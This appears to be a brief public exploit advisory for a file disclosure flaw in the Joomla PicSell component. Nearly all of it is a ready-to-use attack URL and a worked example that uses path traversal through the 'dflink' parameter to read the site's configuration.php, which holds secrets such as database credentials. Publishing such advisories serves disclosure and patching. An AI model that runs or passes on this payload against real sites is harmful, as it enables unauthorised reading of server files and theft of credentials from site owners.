The Joomla PicSell component suffers from a file disclosure vulnerability.
f104f0432e062b97ccdee2889a6ae50f8dda7b11c4129f72b9758f7561add987
# Author: Craw
# Email: craw@element7.eu
# Software Link: http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131
# Category: web applications
=======================================================
[+] ExploiT :
http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=[File Disclosure]
[+] Example :
http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php
=======================================================
Greetz @ LUXEMBOURG
=======================================================